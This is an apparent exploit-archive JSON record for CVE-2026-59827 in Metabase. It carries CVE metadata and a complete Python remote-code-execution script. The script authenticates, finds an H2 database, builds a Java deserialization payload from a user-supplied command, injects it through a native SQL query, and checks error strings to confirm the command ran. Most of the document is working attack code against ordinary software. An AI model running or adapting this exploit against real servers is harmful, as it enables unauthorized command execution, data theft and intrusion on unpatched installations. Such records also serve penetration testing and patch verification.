{"exploit":{"id":"EDB-52680","name":"Metabase 0.61.0 - Authenticated Remote Code Execution (RCE)","description":"Metabase 0.61.0 - Authenticated Remote Code Execution (RCE)","cves":["CVE-2026-59827"],"author":"Gutierre0x80","published":"2026-09-03","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52680","path":"exploits/multiple/webapps/52680.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52680.py","vulnerabilities":[{"id":"CVE-2026-59827","state":"PUBLISHED","title":"Metabase: Unsafe Deserialization of H2 Query Results","titleSource":"CVE Program","description":"Metabase is an open-source business intelligence and embedded analytics tool. Prior to 1.58.15, 1.59.12, 1.60.6.3, and 1.61.1.4, Metabase instances with an H2 database connection, including the default sample database, deserialize arbitrary Java objects returned in H2 native query result columns of type OTHER without validation, allowing an authenticated user who can run native H2 queries to execute code on the Metabase server. This issue is fixed in versions 1.58.15, 1.59.12, 1.60.6.3, and 1.61.1.4.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59827","cvss":{"version":"3.1","baseScore":9.9,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59827"},"updatedAt":"2026-07-09T18:24:48.433Z","retrievedAt":"2026-11-25T16:13:33.976Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52680.png?v=2","url":"https://exploitbin.com/exploits/EDB-52680","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52680/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52680/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: Metabase 0.61.0  - Authenticated Remote Code Execution\n# Date: 2026-08-12\n# Exploit Author: Gutierre0x80\n# Vendor Homepage: https://www.metabase.com/\n# Software Link: https://github.com/metabase/metabase\n# Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4\n# CVE: CVE-2026-59827\n#\n# Advisory:\n# https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36\n#\n# Description:\n# Metabase instances with an H2 database connection, including the default\n# sample database, deserialize arbitrary Java objects returned by native H2\n# queries in result columns of type OTHER without validation. An authenticated\n# user with permission to execute native queries against an accessible H2\n# database can exploit this behavior to execute arbitrary operating-system\n# commands on the Metabase server.\n#\n# Requirements:\n# - Valid Metabase credentials\n# - Permission to execute native database queries\n# - Access to an H2 database connection, including the default sample database\n#\n# Download:\n# git clone https://github.com/Gutierre0x80/CVE-2026-59827.git\n# cd CVE-2026-59827\n#\n# Usage:\n# python3 exploit.py <target_url> <username> <password> <command>\n#\n# Example:\n# python3 exploit.py http://127.0.0.1:3000 admin@example.com 'Password123!' 'id'\n#\n# Repository:\n# https://github.com/Gutierre0x80/CVE-2026-59827\n\n\n\"\"\"\nMetabase - Authenticated RCE via H2 Java Deserialization in Native SQL\nAffects: <= v0.61.1 (latest at time of disclosure)\n\nUsage:\n    python3 exploit.py <url> <user> <password> <command>\n\nExample:\n    python3 exploit.py http://127.0.0.1:3000 admin@admin.com Admin1234! \"id\"\n\nRequired files (same directory as this script):\n    clojure-1.12.3.jar\n    VarChainPayload.class\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport requests\n\nHERE      = os.path.dirname(os.path.realpath(__file__))\nCLJ_JAR   = os.path.join(HERE, \"clojure-1.12.3.jar\")\nCLASSPATH = f\":{CLJ_JAR}:{HERE}\"\n\n\ndef die(msg):\n    print(f\"[-] {msg}\", file=sys.stderr)\n    sys.exit(1)\n\n\ndef check_deps():\n    missing = []\n\n    # Check local files\n    for p in [CLJ_JAR, os.path.join(HERE, \"VarChainPayload.class\")]:\n        if not os.path.isfile(p):\n            missing.append(os.path.basename(p))\n    if missing:\n        die(f\"Missing files in {HERE}: {missing}\")\n\n    # Check system binaries\n    try:\n        subprocess.run([\"java\", \"-version\"], capture_output=True, timeout=5, check=True)\n    except (FileNotFoundError, subprocess.CalledProcessError):\n        die(\"Java not found or not working. Install OpenJDK 11+ and add to PATH\")\n\n    try:\n        import requests\n    except ImportError:\n        die(\"Python 'requests' library not found. Install with: pip install requests\")\n\n\n\ndef get_token(session, url, user, password):\n    r = session.post(f\"{url}/api/session\",\n                     json={\"username\": user, \"password\": password}, timeout=15)\n    r.raise_for_status()\n    token = r.json().get(\"id\")\n    if not token:\n        die(f\"Authentication failed: {r.text[:200]}\")\n    return token\n\n\ndef get_h2_db_id(session, url, token):\n    r = session.get(f\"{url}/api/database\",\n                    headers={\"X-Metabase-Session\": token}, timeout=15)\n    r.raise_for_status()\n    data = r.json()\n    dbs = data.get(\"data\", data) if isinstance(data, dict) else data\n    for db in dbs:\n        if db.get(\"engine\") == \"h2\":\n            return db[\"id\"], db[\"name\"]\n    die(\"No H2 database found in this Metabase instance.\")\n\n\ndef generate_payload(command):\n    result = subprocess.run(\n        [\"java\",\n         \"--add-opens\", \"java.base/java.util=ALL-UNNAMED\",\n         \"-cp\", CLASSPATH,\n         \"VarChainPayload\", command],\n        capture_output=True, text=True, timeout=30\n    )\n    payload = result.stdout.strip()\n    if not payload:\n        die(f\"Payload generation failed:\\n{result.stderr}\")\n    return payload\n\n\ndef fire(session, url, token, db_id, payload_hex):\n    sql = f\"SELECT CAST(X'{payload_hex}' AS OTHER)\"\n    r = session.post(\n        f\"{url}/api/dataset\",\n        headers={\"X-Metabase-Session\": token},\n        json={\"database\": db_id, \"native\": {\"query\": sql}, \"type\": \"native\"},\n        timeout=30\n    )\n    return r.json()\n\n\ndef main():\n    if len(sys.argv) != 5:\n        print(__doc__)\n        sys.exit(1)\n\n    _, url, user, password, command = sys.argv\n    url = url.rstrip(\"/\")\n\n    check_deps()\n\n    s = requests.Session()\n    s.headers.update({\"Content-Type\": \"application/json\"})\n\n    print(f\"[*] Target   : {url}\")\n    print(f\"[*] User     : {user}\")\n    print(f\"[*] Command  : {command}\")\n    print()\n\n    print(\"[*] Authenticating...\")\n    token = get_token(s, url, user, password)\n    print(f\"[+] Session  : {token}\")\n\n    print(\"[*] Locating H2 database...\")\n    db_id, db_name = get_h2_db_id(s, url, token)\n    print(f\"[+] Database : {db_name} (id={db_id})\")\n\n    print(\"[*] Generating payload...\")\n    payload = generate_payload(command)\n    print(f\"[+] Payload  : {len(payload) // 2} bytes\")\n\n    print(\"[*] Firing exploit...\")\n    result = fire(s, url, token, db_id, payload)\n\n    error = str(result)\n    ran_indicators = [\n        \"ClassCastException\",      # normal: Process cast to Number\n        \"ProcessImpl\",             # process object leaked in error\n        \"NonTransientConnection\",  # H2 lock after exec triggered reconnect\n        \"JdbcSQLData\",             # deserialization error after exec\n    ]\n    if any(ind in error for ind in ran_indicators):\n        print(\"[+] RCE executed — H2 error after deserialization confirms command ran\")\n    else:\n        print(f\"[?] Unexpected response (command may not have run): {error[:300]}\")\n\n    print()\n    print(\"[*] Done. If the command writes output to a file, retrieve it separately.\")\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"27a62ee29f7eb00d18b673a6e049c26c2734bf093ffeec4d171f0950e5b770ce","bytes":5788,"fetchedAt":"2026-11-25T10:17:06.573Z","encoding":"utf-8 (display only; download retains original bytes)"}